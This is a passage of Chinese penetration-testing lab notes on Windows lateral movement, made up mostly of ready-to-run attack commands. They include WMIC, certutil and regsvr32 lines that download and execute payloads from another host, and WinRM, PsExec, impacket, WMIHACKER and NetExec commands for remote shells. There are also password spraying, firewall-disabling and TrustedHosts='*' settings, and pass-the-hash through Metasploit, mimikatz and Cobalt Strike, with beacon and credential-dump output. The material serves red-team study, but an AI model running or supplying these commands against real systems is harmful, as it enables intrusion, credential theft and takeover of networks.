服务启动默认是 SYSTEM 权限。

5、停止、删除服务
# 停止
sc \\10.10.10.20 stop GoogleUpdateService
# 删除
sc \\10.10.10.20 delete GoogleUpdateService

2)WMIC
WMIC 简介
WMI:(Windows Management Instrumentation Windows 管理规范),是用户管理本地和远程计算机的一种模型。通过它可以访问、配置、管理和监视几乎所有的 Windows 资源。WMI 的语法十分简单,基本上常见的命名空间、对象的用法几乎一模一样。它对应的是 Windows 里的 WMI 服务(winmgmt)。
在 Windows 2000 之后的操作系统中内置了该服务。WMI 使用公共信息模型(CIM)表示托管组件,其中包括系统、应用程序、网络等等。CIM 中使用类表示管理对象,命名空间是一个类的集合。
通过使用 135 端口上的远程过程调用(RPC)进行通信以进行远程访问,它允许系统管理员远程执行自动化管理任务,例如远程启动服务或执行命令。
而 WMIC 就是为 WMI 提供的命令行界面。
详细参考:https://docs.microsoft.com/zh-cn/windows/win32/wmisdk/wmic
使用条件
-
- Windows Management Instrumentation 服务开启,端口TCP 135,默认开启。
-
- 防火墙允许 135、445 等端口通信。
利用
0. 注意
1)必须指定账户及密码 且 必须是 administrator 账户
远程操作的时候必须指定 管理员账户密码,即使连接了 IPC,依然需要指定账户密码才可以。
且必须是管理员 administrator,即使是 administrators 组当中的其他成员都不可以。


2)格式必须规范
wmic /node:IP /user:username /password:password command
wmic /node:10.10.10.20 /user:administrator /password:1qaz@WSX useraccount list brief
绝不能写成:
wmic /node:10.10.10.20 useraccount list brief /user:administrator /password:1qaz@WSX - 报错
3)WMI不支持执行命令,而是支持执行文件,可以通过加相应的参数执行命令,比如:
wmic /node:10.10.10.20 /user:administrator /password:1qaz@WSX process call create "cmd.exe /c ipconfig"
但是可以发现并没有结果回显,这种情况我们可以把命令执行的结果 重定向到文件当中,然后我们去查看文件当中的内容 即可。
wmic /node:10.10.10.20 /user:administrator /password:1qaz@WSX process call create "cmd.exe /c ipconfig > C:\ipconfig.txt"

1. 查询进程信息
wmic /node:10.10.10.20 /user:administrator /password:1qaz@WSX process list brief

2. 查看用户信息
wmic /node:10.10.10.20 /user:administrator /password:1qaz@WSX useraccount list brief

2. 利用create创建进程
wmic process call create /?
wmic /node:10.10.10.20 /user:administrator /password:1qaz@WSX process call create "cmd /c C:\temp\qiaoshen.exe"
# WMI不支持执行命令,而是支持执行文件,可以通过加相应的参数执行命令,比如:
wmic /node:10.10.10.20 /user:administrator /password:1qaz@WSX process call create "cmd.exe /c ipconfig"
但是可以发现并没有结果回显,这种情况我们可以把命令执行的结果 重定向到文件当中,然后我们去查看文件当中的内容 即可。
wmic /node:10.10.10.20 /user:administrator /password:1qaz@WSX process call create "cmd.exe /c ipconfig > C:\ipconfig.txt"



如果出现 “User credentials cannot be used for local connections”,应该是调用 calc.exe 程
序权限不够的问题。
如果出现 “Description = 无法启动服务”,原因可能是已被禁用或与其相关联的设备没有启动,判断 WMI 服务被禁用。
wmic 命令缺点是没有回显,可以使用 wmiexec.vbs 脚本实现回显。
4. 下载远程文件并执行
wmic /node:10.10.10.20 /user:administrator /password:1qaz@WSX process call create "cmd /c certutil.exe -urlcache -split -f http://10.10.10.30:8000/qiaoshen.exe C:/Windows/Temp/qiaoshen.exe & C:/Windows/Temp/qiaoshen.exe"
wmic /node:10.10.10.20 /user:administrator /password:1qaz@WSX process call create "regsvr32 /s /n /u /i:http://192.168.78.117:8080/feY7nzY.sct scrobj.dll"


3)WinRM
WinRM 简介
WinRM 指的是 Windows 远程管理服务,通过远程连接 WinRM 模块可以操作 Windows 命令行,默认监听端口 5985(HTTP)和 5986 (HTTPS),在 2012 及以后默认开启。
使用条件
需要目标主机开启 WinRM 服务 并 设定好信任主机(可以让其他主机进行进行远程操作)
利用
1、判断本机是否开启 WinRM 服务
winrm enumerate winrm/config/listener

以下是未开启的


netstat -ano | findstr 5985
wmic service list brief | findstr WinRM

特殊情况

winrm enumerate winrm/config/listener → 没有任何输出
👉 说明没有配置监听器(不管是 HTTP:5985 还是 HTTPS:5986)。
netstat -ano | findstr 5985 / 5986 → 没有结果
👉 说明 5985、5986 端口没有在监听。
wmic service list brief | findstr WinRM →
0 WinRM 548 Auto Running OK
👉 说明 WinRM 服务本身是启动的(自启动 + 正在运行)。
2. 结论
WinRM 服务在本机是运行的 ✅
但没有监听器 ❌(所以外部没法连,netstat 也看不到 5985/5986)
因此严格来说,还不能算真正开启可用的 WinRM 远程管理
3. 怎么让它真正“开启”
只需要在目标机上执行:
winrm quickconfig
它会:
设置 WinRM 服务为自动启动并立即启动(你这里已经是了)。
创建一个默认的 HTTP://*:5985 监听器。
配置防火墙规则允许 5985 流量。
之后你再跑:
winrm enumerate winrm/config/listener
就会看到类似:
Listener
Address = *
Transport = HTTP
Port = 5985
...
再用 netstat -ano | findstr 5985 也会看到监听。

👉 意思就是:WinRM 服务虽然能启,但是 防火墙例外规则不会自动生效,因为当前网卡配置成了 Public 网络。
Windows 默认策略:
Domain 网络 和 Private 网络 → winrm quickconfig 会帮你放开防火墙(5985)。
Public 网络 → 出于安全考虑,不会自动放开。
解决方法:
方法一:直接把网络类型从 Public 改成 Private
打开 PowerShell(管理员)执行:
Get-NetConnectionProfile
找到你的网卡(比如 "Network")。
修改为专用网络:
Set-NetConnectionProfile -Name "Network" -NetworkCategory Private
然后重新执行:
winrm quickconfig
这时就会自动放开 5985 防火墙规则。
方法二:手动放开防火墙(不改网络类型)
如果不想改网络属性,直接放规则就行:
netsh advfirewall firewall add rule name="WinRM HTTP" dir=in action=allow protocol=TCP localport=5985
netsh advfirewall firewall add rule name="WinRM HTTPS" dir=in action=allow protocol=TCP localport=5986
然后重新执行:
winrm quickconfig
方法三:禁用防火墙(测试环境临时用)
netsh advfirewall set allprofiles state off
👉 不推荐生产环境用,太暴力。
2、命令开启 WinRM 服务
winrm quickconfig


3、允许远程主机访问及访问远程主机
# WinRM只允许当前域用户或者处于本机TrustedHosts列表中的远程主机进行访问
winrm set winrm/config/client @{TrustedHosts="*"}

4、Winrs 执行命令
winrs -r:http://10.10.10.20:5985 -u:administrator -p:1qaz@WSX whoami
winrs -r:http://10.10.10.20:5985 -u:administrator -p:1qaz@WSX ipconfig


5、WinRM横向移动
1)利用winrm参数选项中的invoke参数,来对目标对象执行特定的方法。
winrm invoke create wmicimv2/win32_process @{Commandline="C:\temp\qiaoshen.exe"} -r:http://10.10.10.20:5985 -u:administrator -p:1qaz@WSX
# 无效
winrm invoke create wmicimv2/win32_process @{Commandline="start C:\temp\qiaoshen.exe"} -r:http://10.10.10.20:5985 -u:administrator -p:1qaz@WSX


2)在远程机器上打开进程
winrm invoke create wmicimv2/win32_process @{Commandline="C:\temp\qiaoshen.exe"} -r:http://10.10.10.20:5985 -u:administrator -p:1qaz@WSX
# 无效
winrm invoke create wmicimv2/win32_process @{Commandline="start C:\temp\qiaoshen.exe"} -r:http://10.10.10.20:5985 -u:administrator -p:1qaz@WSX


3)在远程机器上 创建 并 运行 服务
# 创建服务
winrm invoke Create wmicimv2/Win32_Service @{Name="qiaoshen";DisplayName="qiaoshen_display";PathName="C:\temp\qiaoshen_service.exe"} -r:http://10.10.10.20:5985 -u:administrator -p:1qaz@WSX
# 运行服务
winrm invoke StartService wmicimv2/Win32_Service?Name=qiaoshen -r:http://10.10.10.20:5985 -u:administrator -p:1qaz@WSX
# 删除服务
winrm invoke Delete wmicimv2/Win32_Service?Name=qiaoshen -r:http://10.10.10.20:5985 -u:administrator -p:1qaz@WSX
StartService() 方法返回值对照表
---------------------------------
0 = 成功
2 = 服务已经在运行
3 = 服务不可用
5 = 服务控制被拒绝
7 = 服务启动失败
10 = 服务已被禁用


2. 外部工具
内部工具都被禁用无法帮助我们 横向移动 的时候,我们可以使用以下的这些 外部工具 来帮助我们 强制内网横移 成功。
1)psexec
工作原理
1. PsExec 主要依赖以下协议和服务:
- SMB 协议(445 端口):用于文件共享和通信。
- ADMIN$ 共享:默认的管理共享。
- 服务控制管理器(SCM):用于创建和管理服务。
2. 认证阶段:
- 通过 SMB 协议与目标建立连接。
- 使用提供的凭据进行 NTLM 认证(支持明文密码和哈希传递)。
3. 文件传输阶段:
- 通过 ADMIN$ 共享(C:\Windows)上传 PsExec 的临时组件:
- PSEXESVC.exe:服务端组件
- PSEXESVC.dll:辅助 DLL 文件
4. 服务创建阶段:
- 通过服务控制管理器(SCM)创建临时服务: sc \\目标 create PSEXESVC binpath= "C:\Windows\PSEXESVC.exe"
- 服务类型设置为"交互式进程"(允许 UI 显示)
5. 命令执行阶段:
- 启动创建的服务
- PSEXESVC.exe 作为服务运行后:
- 建立命名管道(.\pipe\PSEXESVC)进行通信
- 执行指定的命令或启动交互式会话
6. 清理阶段(默认行为):
- 命令执行完成后自动删除服务
- 移除临时文件(PSEXESVC.exe 和 PSEXESVC.dll)
使用条件
-
对方主机开启了 ADMIN 共享,如果关闭了 ADMIN 共享,会提示:找不到网络名
-
防火墙允许 445 端口的 SMB 通信。
-
如果是工作组环境,则必须使用 administrator 用户连接(因为要在目标主机上面创建并启动服务),使用其他账号(包括管理员组中的非 administrator 用户)登录都会提示访问拒绝访问。
-
如果是域环境,即可用普通域用户连接也可以用域管理员用户连接。连接普通域主机可以用普通域用户,连接域控只能用域管理员账户。
A. PsExec.exe
PsExec 是微软 Sysinternals 套件中的一个强大工具,用于在远程 Windows 系统上执行命令或启动交互式会话。它被广泛用于系统管理、渗透测试和横向移动。
PsExec 是 Sysinternals Suite 的一部分,可以从微软官网免费下载:
https://learn.microsoft.com/zh-cn/sysinternals/downloads/psexec
注意:
第一次运行会弹框 PsExec License Agreement,输入 –accepteula 这个参数就可以绕。


如果出现找不到网络名,判断目标主机已禁用 ADMIN$ 共享
基本语法
PsExec \\目标计算机 [-u 用户名] [-p 密码] [选项] [命令]
常用选项
| 选项 | 描述 |
|---|---|
| -u | 指定用户名 |
| -p | 指定密码 |
| -s | 以系统账户运行 |
| -i | 运行程序并显示其UI(如果有) |
| -d | 不等待程序终止 |
| -c | 将指定程序复制到远程系统执行 |
| -h | 如果目标系统支持,以提升的权限运行 |
| -accepteula | 自动接受许可协议 |
利用
1. 开启远程交互式命令行 - cmdShell
PsExec.exe \\10.10.10.20 -u administrator -p 1qaz@WSX -s cmd.exe -accepteula


2. 在远程计算机上执行命令 - 命令执行
PsExec.exe \\10.10.10.20 -u administrator -p 1qaz@WSX -accepteula -s whoami
PsExec.exe \\10.10.10.20 -u administrator -p 1qaz@WSX -accepteula -s ipconfig


3. 建立 IPC 连接后,使用 PsExec 无需输入密码
# 建立 IPC 连接。
net use \\10.10.10.20\ipc$ /user:administrator 1qaz@WSX
# 目标主机 - 命令执行
PsExec.exe \\10.10.10.20 whoami -accepteula
# 获得 目标主句 CMD_Shell
PsExec.exe \\10.10.10.20 -s cmd.exe -accepteula

4. 从本地复制文件到远程执行
PsExec.exe \\10.10.10.20 -u administrator -p 1qaz@WSX -s C:\temp\qiaoshen.exe
-c <[路径]文件名>: 拷贝文件到远程机器并运行(注意:运行结束后文件会自动删除)


B. impacket-psexec
impacket 简介
Impacket 是一个功能强大的 Python 网络协议工具包,广泛用于渗透测试、红队行动 和 网络安全研究。它实现了多种 Windows 协议(如 SMB、MSRPC、LDAP、Kerberos 等),并提供了一系列攻击模块,用于凭证窃取、横向移动、权限提升和域渗透。
python:
https://github.com/fortra/impacket
exe:
https://github.com/maaaaz/impacket-examples-windows
impacket套件中的psexec与官方psexec.exe相比会自动删除服务,增加隐蔽性

利用
1. 交互式命令行
proxychains4 -q python3 psexec.py administrator:1qaz@[email protected] -codec gbk
-codec: 中文是 gbk 编码,指定 gbk 编码就不会乱码了。

2. 直接执行命令
proxychains4 -q python3 psexec.py administrator:1qaz@[email protected] whoami -codec gbk
proxychains4 -q python3 psexec.py administrator:1qaz@[email protected] ipconfig -codec gbk
注意:
命令必须放在 "-codec gbk" 前面。

C. impacket-smbexec
impacket-smbexec 简介
impacket 套件中的 smbexec 是一款基于 psexec 的域渗透测试工具,类似 psexec,通过 SMB 执行命令。
就是 impacket 套件当中的一员。
```QiaoShen

##### 利用
```QiaoShen
# 直接获得 cmd-Shell
proxychains4 -q python3 smbexec.py administrator:1qaz@[email protected] -codec gbk
# 执行命令
smbexec.py 不能执行命令,只能直接 getshell。

2)wmiexec(更加推荐)
A. impacket-wmiexec
wmiexec 简介
WMIEXEC 是基于 Windows Management Instrumentation (WMI) 的远程命令执行工具,常用于 内网渗透 和 横向移动。
它是 Impacket 套件 的一部分(wmiexec.py),也可在 Metasploit(psexec over WMI)和 Cobalt Strike 中使用。
主要特点:
- 无文件落地(大部分操作在内存中完成)
- 使用合法 WMI 协议(不易被传统防火墙拦截)
- 支持 NTLM/Kerberos 认证(适用于域环境)
- 隐蔽性强(相比 psexec,日志记录较少)

工作原理
WMIEXEC 通过 WMI(Windows Management Instrumentation)远程执行命令,核心流程如下:
(1)建立 WMI 连接
认证:使用提供的凭据(用户名/密码、NTLM 哈希、Kerberos 票据)连接目标机器的 135 端口(RPC) 和 445 端口(SMB)。
初始化 WMI 会话:通过 DCOM(Distributed COM) 协议与 WinMgmt 服务交互。
(2)创建 WMI 进程
调用 Win32_Process 类:使用 WMI 的 Create 方法在目标机器上创建进程(如 cmd.exe /c whoami)。
执行命令:
标准输出
通过 SMB 共享(ADMIN$ 或 C$) 返回
错误输出
写入临时文件(如 C:\Windows\Temp<随机名>.tmp)
(3)清理痕迹
删除临时文件(部分工具可配置不删除)
关闭 WMI 会话
利用
1. 在远程主机执行命令 - 命令执行
proxychains4 -q python3 wmiexec.py -share admin$ administrator:1qaz@[email protected] whoami -codec gbk

2. 获得交互式命令行 - cmdShell
proxychains4 -q python3 wmiexec.py -share admin$ administrator:1qaz@[email protected] -codec gbk

B. WMIHACKER
WMIHACKER 简介
常见的 WMIEXEC、PSEXEC 执行命令是创建服务或调用 Win32_Process.create 执行命令,此工具通过 135 端口进行命令执行,读取执行结果以及进行文件传输时无需 445 端口,通过把执行结果写入注册表中,然后进行读取。
项目地址:
https://github.com/rootclay/WMIHACKER
主要功能:命令执行、文件上传、文件下载
核心特点:无需 445 端口开放。
利用
cscript //nologo WMIHACKER_0.6.vbs

1. 有命令回显执行方式
cscript WMIHACKER_0.6.vbs /cmd 10.10.10.20 administrator "1qaz@WSX" "systeminfo" 1

2. 无命令回显
cscript WMIHACKER_0.6.vbs /cmd 10.10.10.20 administrator "1qaz@WSX" "systeminfo > c:\1.txt" 0


3. 模拟shell模式
cscript WMIHACKER_0.6.vbs /shell 10.10.10.20 administrator "1qaz@WSX"

4. 文件上传
# 复制本机 C:\temp\qiaoshen.exe 到远程主机 C:\Windows\temp\qiaoshen.exe
cscript WMIHACKER_0.6.vbs /upload 10.10.10.20 administrator "1qaz@WSX" "C:\temp\qiaoshen.exe" "C:\Windows\Temp\qiaoshen.exe"
很奇怪的一点在于无法执行 - 执行了以后没反应、没效果:
# 无命令回显执行 payload
cscript WMIHACKER_0.6.vbs /cmd 10.10.10.20 administrator "1qaz@WSX" "C:\Windows\Temp\qiaoshen.exe" 0
cscript WMIHACKER_0.6.vbs /cmd 10.10.10.20 administrator "1qaz@WSX" "C:\Windows\Temp\qiaoshen.exe" 1
cscript WMIHACKER_0.6.vbs /cmd 10.10.10.20 administrator "1qaz@WSX" "start C:\Windows\Temp\qiaoshen.exe" 1

5. 文件下载
# 下载远程主机 C:\1.txt 到本地 C:\temp\1.txt
cscript WMIHACKER_0.6.vbs /download 10.10.10.20 administrator "1qaz@WSX" "C:\temp\1.txt" "C:\1.txt"

3)NetExec
NetExec 简介
项目简介:NetExec(原名 CrackMapExec,简称 NXC)是一款功能强大的 网络渗透测试与红队工具,专为 Windows 活动目录(AD) 环境的安全评估和攻击设计。它支持多种协议(如 SMB、WinRM、LDAP、MSSQL 等),能够执行 凭证爆破、横向移动、权限提升、信息收集 等操作,是红队和渗透测试人员的常用工具。
项目地址:
https://github.com/Pennyw0rth/NetExec
参考文档:
https://www.netexec.wiki/

利用
VPS 有点问题,用 Kali 的,Kali 自带了 nxc。

1、内网信息收集
# 密码喷洒
proxychains -q nxc smb 10.10.10.10-30 -u administrator -p '1qaz@WSX' --local-auth
# 扫描 SMB 共享
proxychains -q nxc smb 10.10.10.10-30 -u administrator -p '1qaz@WSX' --local-auth --shares

2、横向移动
--local-auth 表示指定的为 主机自身的工作组,而非 域环境。
smb
proxychains -q netexec smb 10.10.10.20 -u administrator -p 1qaz@WSX --exec-method smbexec --local-auth -x whoami
proxychains -q netexec smb 10.10.10.20 -u administrator -p 1qaz@WSX --exec-method mmcexec --local-auth -x whoami
proxychains -q netexec smb 10.10.10.20 -u administrator -p 1qaz@WSX --exec-method wmiexec --local-auth -x whoami

wmi
proxychains -q netexec wmi 10.10.10.20 -u administrator -p 1qaz@WSX --exec-method wmiexec --local-auth -x whoami
proxychains -q netexec wmi 10.10.10.20 -u administrator -p 1qaz@WSX --exec-method wmiexec-event --local-auth -x whoami

winrm
netexec winrm 10.10.10.20 -u administrator -p 1qaz@WSX --local-auth -x whoami
netexec winrm 10.10.10.20 -u administrator -p '1qaz@WSX' --local-auth -X "Get-Process"

上传文件
proxychains -q netexec wmi 10.10.10.20 -u administrator -p 1qaz@WSX --exec-method wmiexec --local-auth -x "dir C:\windows\temp\qiaoshen.exe"
# 上传
netexec smb 10.10.10.20 -u administrator -p 1qaz@WSX --put-file /root/tmp/payload/qiaoshen.exe windows\\temp\\qiaoshen.exe --local-auth
注意:
默认上传到目标服务器会自动带上 C$,因此直接写 C$ 后的路径即可,否则报错。

下载文件
下载文件同理
netexec smb 10.10.10.20 -u administrator -p 1qaz@WSX --get-file windows\\temp\\qiaoshen.exe /root/tmp/qiaoshen.exe --local-auth

执行文件
netexec smb 10.10.10.20 -u administrator -p 1qaz@WSX -x 'C:/Windows/temp/qiaoshen.exe' --local-auth


4)Cobalt Strike
需要是 administrator 权限,因为都是利用的 psexec 这种利用了 Pipe、IPC 管道的,都需要 administrator 权限才可以 远程连接控制。
1、凭据获取
前面章节写了,看前面。
hashdump
logonpasswords


2、扫描存活主机
前面章节写了,看前面。
3、横向移动
1、创建 SMB 监听器
Pipename - 管道名 - 自定义。

2、Jump - psexec


3、上线
因为 psexec 的手法,利用的服务创建的方式,横移后上线的也直接就是 SYSTEM 系统高权限。

# 核心本质解析
rev2self
# 还原token令牌
pth PC\Administrator 161cff084477fe596a5db81874498a24
# 使用mimikatz执行PTH操作
# mimikatz's sekurlsa::pth /user:"Administrator" /domain:"PC" /ntlm:161cff084477fe596a5db81874498a24 /run:"%COMSPEC% /c echo 50465323d7f > \\.\pipe\03c5e4"
jump psexec WEB tcp1
# 生成 windows/beacon_bind_tcp (0.0.0.0:4443) 对应的 payload (\\WEB\ADMIN$\c930c4b.exe),并上传到WEB主机
# 在WEB主机通过 Service Control Manager 创建并启动服务 c930c4b 运行 payload
beacon> rev2self
[*] Tasked beacon to revert token
beacon> pth PC\Administrator 161cff084477fe596a5db81874498a24
[*] Tasked beacon to run mimikatz's sekurlsa::pth /user:"Administrator" /domain:"PC" /ntlm:161cff084477fe596a5db81874498a24 /run:"%COMSPEC% /c echo 50465323d7f > \\.\pipe\03c5e4" command
beacon> jump psexec WEB tcp1
[*] Tasked beacon to run windows/beacon_bind_tcp (0.0.0.0:4443) on WEB via Service Control Manager (\\WEB\ADMIN$\c930c4b.exe)
[+] host called home, sent: 640563 bytes
[+] Impersonated PC\Administrator
[+] received output:
Started service c930c4b on WEB
[+] established link to child beacon: 10.10.10.20
[+] received output:
user : Administrator
domain : PC
program : C:\Windows\system32\cmd.exe /c echo 50465323d7f > \\.\pipe\03c5e4
impers. : no
NTLM : 161cff084477fe596a5db81874498a24
| PID 4012
| TID 1172
| LSA Process is now R/W
| LUID 0 ; 6146101 (00000000:005dc835)
\_ msv1_0 - data copy @ 00000000016DE7E0 : OK !
\_ kerberos - data copy @ 000000000161E8E8
\_ aes256_hmac -> null
\_ aes128_hmac -> null
\_ rc4_hmac_nt OK
\_ rc4_hmac_old OK
\_ rc4_md4 OK
\_ rc4_hmac_nt_exp OK
\_ rc4_hmac_old_exp OK
\_ *Password replace @ 0000000001B4C668 (16) -> null
```QiaoShen
##### psexec、psexec64 和 psexec_psh 区别
###### 1. psexec (传统PsExec)
- 实现方式:使用服务控制管理器(SCM)创建 Windows 服务。
- 特点:
- 上传服务 二进制文件 到目标主机(默认位置:ADMIN$\system32\ )
- 需要管理员权限。
- 会在目标系统创建服务项(默认名称随机)。
- 执行后自动清理服务。
- 适用场景:
- 稳定的内网环境。
- 需要可靠执行的情况。
- 目标系统未开启防御措施。
###### 2. psexec64 (64位版本)
- 实现方式:与psexec相同,但使用 64位 payload。
- 特点:
- 专为 64位 系统设计。
- 避免 32位 进程在 64位 系统上的兼容性问题。
- 其他特性与传统 psexec 相同。
- 适用场景:
- 目标系统是 64位 Windows。
- 需要避免 WOW64 重定向问题。
###### 3. psexec_psh (PowerShell版本)
- 实现方式:使用PowerShell远程执行。
- 特点:
- 无文件落地(完全在内存中执行)
- 依赖 PowerShell Remoting (WinRM)
- 需要目标启用 PSRemoting (5985/5986端口)
- 更隐蔽,但依赖系统配置。
- 适用场景:
- 需要规避传统检测机制。
- 目标系统已配置PowerShell Remoting。
- 需要避免文件写入的操作。
| 特性 | psexec | psexec64 | psexec_psh |
| ---- | ------- | ----------- | ------------------- |
| 实现方式 | 服务创建 | 服务创建 (64 位) | PowerShell Remoting |
| 文件落地 | 是 | 是 | 否 |
| 权限要求 | 管理员 | 管理员 | 管理员 |
| 依赖组件 | SCM | SCM | WinRM/PowerShell |
| 隐蔽性 | 低 | 低 | 高 |
| 适用系统 | 32/64 位 | 64 位优先 | 32/64 位 |
| 日志记录 | 服务日志明显 | 服务日志明显 | PowerShell 日志 |
| 端口需求 | 445 | 445 | 5985/5986 |
## 3. PTH
```QiaoShen
其实 PTH 已经是在 内网横移了,PTH 成功 则 内网横移 成功了已经。
可以通过 PTH 一个一个验证碰撞是否可以成功横移到其他的内网主机;如果碰撞成功了那么直接就内网横移成功了。
PTH(Pass The Hash)是一种利用NTLM或LM哈希值而非明文密码进行身份验证的攻击技术。攻击者获取用户密码的哈希值后,可以直接使用该哈希值在网络中进行横向移动,无需破解出明文密码。
是域环境当中 横向移动的 核心方法。
但是无论是在 域环境 当中 还是在 工作组 当中,都可以使用该方法 进行横向移动。
只不过在工作组当中,很少有在一台主机当中存在另一台主机相关 密码凭证 的情况,因此其实大部分情况 PTH 都是在域环境当中存在。
攻击原理
1. NTLM认证机制:
- Windows系统使用 NTLM 协议进行身份验证时,实际上使用的是密码哈希值而非明文密码。
- 服务器端并不验证原始密码,只验证客户端提供的哈希值是否正确。
2. 哈希重用特性:
- 同一账户在不同机器上的密码哈希值相同 (除非启用了 CredSSP 或限制 NTLM )
- 攻击者获取的哈希值可在整个域环境中重用。
3. 协议设计缺陷:
- NTLM 协议设计时未考虑哈希值本身作为凭证的安全风险。
- 服务器无法区分哈希值是来自合法计算还是被窃取的。
前提条件
1. 获取有效的密码哈希值
-
必须已获取目标用户的 NTLM 或 LM 哈希值
-
常见获取方式:
- 内存提取(如LSASS进程)
- SAM数据库提取
- 域控制器上的NTDS.dit文件
- 网络嗅探NTLM认证流量
2. 目标系统使用NTLM认证
-
目标服务/系统 必须允许 NTLM 认证,如果系统强制使用 Kerberos 认证,PTH 攻击将失效
-
常见支持NTLM的服务:
- SMB文件共享
- RDP远程桌面(需特殊配置)
- Windows远程管理(WinRM)
- IIS Web应用(配置NTLM认证时)
3. 网络可达性
-
攻击者必须能够通过网络访问目标系统
-
相关端口必须开放:
SMB: 445/TCP
RDP: 3389/TCP
WinRM: 5985/5986(TCP)任意一个开启即可尝试 PTH。
4. 账户权限
-
使用的哈希值对应的账户在目标系统上需要有足够的权限
-
常见有效目标账户:
- 本地管理员组成员
- 域管理员组成员
- 具有远程登录权限的账户
KB2871997 补丁:2014 年 5 月 13 日微软发布了更新补丁 KB2871997,禁止本地管理员账户(除 Administrator (SID 500)之外)用于远程连接,这样就无法以本地管理员用户的权限执行 wmi、PSEXEC、schtasks、at 和访问文件共享。
攻击流程
1. 信息收集阶段:
- 获取目标系统的用户哈希值(通过 LSASS 内存转储、SAM 数据库提取等方式)。
- 识别网络中的其他可访问系统。
2. 哈希传递阶段:
- 使用获取的哈希值尝试对其他系统进行身份验证。
- 常见工具:Mimikatz、Impacket 套件中的 psexec.py 等。
3. 权限提升与横向移动:
- 成功验证后,在目标系统执行命令。
- 进一步收集新系统的哈希值,继续横向移动。
4. 目标达成:
- 获取域管理员等高权限账户哈希。
- 控制整个域环境。

利用
1)工作组 PTH
1. MSF
psexec 横向移动
exploit/windows/smb/psexec 模块
setg proxies socks5:127.0.0.1:4080
use exploit/windows/smb/psexec
set rhosts 10.10.10.20
set smbuser administrator
set smbpass aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24
set lport 4206
run


2. Cobalt Strike
其实用 Beacon TCP 或者 Beacon SMB 的监听器都可以。





# 核心本质解析
rev2self
# 还原token令牌
pth PC\Administrator 161cff084477fe596a5db81874498a24
# 使用mimikatz执行PTH操作
# mimikatz's sekurlsa::pth /user:"Administrator" /domain:"PC" /ntlm:161cff084477fe596a5db81874498a24 /run:"%COMSPEC% /c echo 50465323d7f > \\.\pipe\03c5e4"
jump psexec WEB tcp1
# 生成 windows/beacon_bind_tcp (0.0.0.0:4443) 对应的 payload (\\WEB\ADMIN$\c930c4b.exe),并上传到WEB主机
# 在WEB主机通过 Service Control Manager 创建并启动服务 c930c4b 运行 payload
beacon> rev2self
[*] Tasked beacon to revert token
beacon> pth PC\Administrator 161cff084477fe596a5db81874498a24
[*] Tasked beacon to run mimikatz's sekurlsa::pth /user:"Administrator" /domain:"PC" /ntlm:161cff084477fe596a5db81874498a24 /run:"%COMSPEC% /c echo 50465323d7f > \\.\pipe\03c5e4" command
beacon> jump psexec WEB tcp1
[*] Tasked beacon to run windows/beacon_bind_tcp (0.0.0.0:4443) on WEB via Service Control Manager (\\WEB\ADMIN$\c930c4b.exe)
[+] host called home, sent: 640563 bytes
[+] Impersonated PC\Administrator
[+] received output:
Started service c930c4b on WEB
[+] established link to child beacon: 10.10.10.20
[+] received output:
user : Administrator
domain : PC
program : C:\Windows\system32\cmd.exe /c echo 50465323d7f > \\.\pipe\03c5e4
impers. : no
NTLM : 161cff084477fe596a5db81874498a24
| PID 4012
| TID 1172
| LSA Process is now R/W
| LUID 0 ; 6146101 (00000000:005dc835)
\_ msv1_0 - data copy @ 00000000016DE7E0 : OK !
\_ kerberos - data copy @ 000000000161E8E8
\_ aes256_hmac -> null
\_ aes128_hmac -> null
\_ rc4_hmac_nt OK
\_ rc4_hmac_old OK
\_ rc4_md4 OK
\_ rc4_hmac_nt_exp OK
\_ rc4_hmac_old_exp OK
\_ *Password replace @ 0000000001B4C668 (16) -> null
3. impacket
wmiexec
# 执行 ipconfig 命令
python3 wmiexec.py -hashes :161cff084477fe596a5db81874498a24 WEB/[email protected] "ipconfig"
# 中文编码解决乱码。
python3 wmiexec.py -hashes :161cff084477fe596a5db81874498a24 WEB/[email protected] "ipconfig" -codec gbk
# 获取 CMD_Shell
python3 wmiexec.py -hashes :161cff084477fe596a5db81874498a24 WEB/[email protected] -codec gbk




smbexec
# 得到 CMD_Shell
python3 smbexec.py -hashes :161cff084477fe596a5db81874498a24 [email protected] -codec gbk
# 执行命令
smbexec 不能直接执行命令。


4. netexec
--local-auth 表示指定的为 主机自身的工作组,而非 域环境。
smb
proxychains -q netexec smb 10.10.10.20 -u administrator -H 161cff084477fe596a5db81874498a24 --local-auth
proxychains -q netexec smb 10.10.10.20 -u administrator -H 161cff084477fe596a5db81874498a24 --local-auth -x whoami





wmi
proxychains -q netexec wmi 10.10.10.20 -u administrator -H 161cff084477fe596a5db81874498a24 --local-auth
proxychains -q netexec wmi 10.10.10.20 -u administrator -H 161cff084477fe596a5db81874498a24 --local-auth -x whoami

winrm
proxychains -q netexec winrm 10.10.10.20 -u administrator -H 161cff084477fe596a5db81874498a24 --local-auth
proxychains -q netexec winrm 10.10.10.20 -u administrator -H 161cff084477fe596a5db81874498a24 --local-auth -x whoami

# 开启 winrm 方法
winrm quickconfig
(shell winrm quickconfig -q)
# 允许远程主机访问及访问远程主机
# WinRM 只允许当前域用户或者处于本机 TrustedHosts 列表中的远程主机进行访问
winrm set winrm/config/client @{TrustedHosts="*"}


5. Mimikatz
当我们获得了内网中一台主机的 NTLM 哈希值,我们可以利用 mimikatz 对这个主机进行哈希传递攻击,执行命令成功后将会反弹回 cmd。
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:10.0.1.143 /ntlm:161cff084477fe596a5db81874498a24" exit
net use \\10.10.10.20\C$
dir \\10.10.10.20\C$
copy payload \\10.10.10.20\C$
net use z: \\10.10.10.20\C$
不知道为什么还是需要经过域的认证,域环境现在有问题无法使用
域环境 PTH
1. MSF
psexec
exploit/windows/smb/psexec 模块
setg proxies socks5:127.0.0.1:4080
use exploit/windows/smb/psexec
set smbdomain qiaoshen.local
set smbuser administrator
set smbpass aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24
set lport 4206
run
msf6 > use exploit/windows/smb/psexec
msf6 exploit(windows/smb/psexec) > set rhosts 10.10.10.10
msf6 exploit(windows/smb/psexec) > set smbdomain qiaoshen.local
msf6 exploit(windows/smb/psexec) > set smbuser QiaoShen
msf6 exploit(windows/smb/psexec) > set smbpass aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24
msf6 exploit(windows/smb/psexec) > run
2. Cobalt Strike
同理一样的,只是凭据选择的是 域环境的 用户凭据而已。
3. impacket
域环境出现了一些问题,无法实操截图。
wmiexec
# 执行 ipconfig 命令
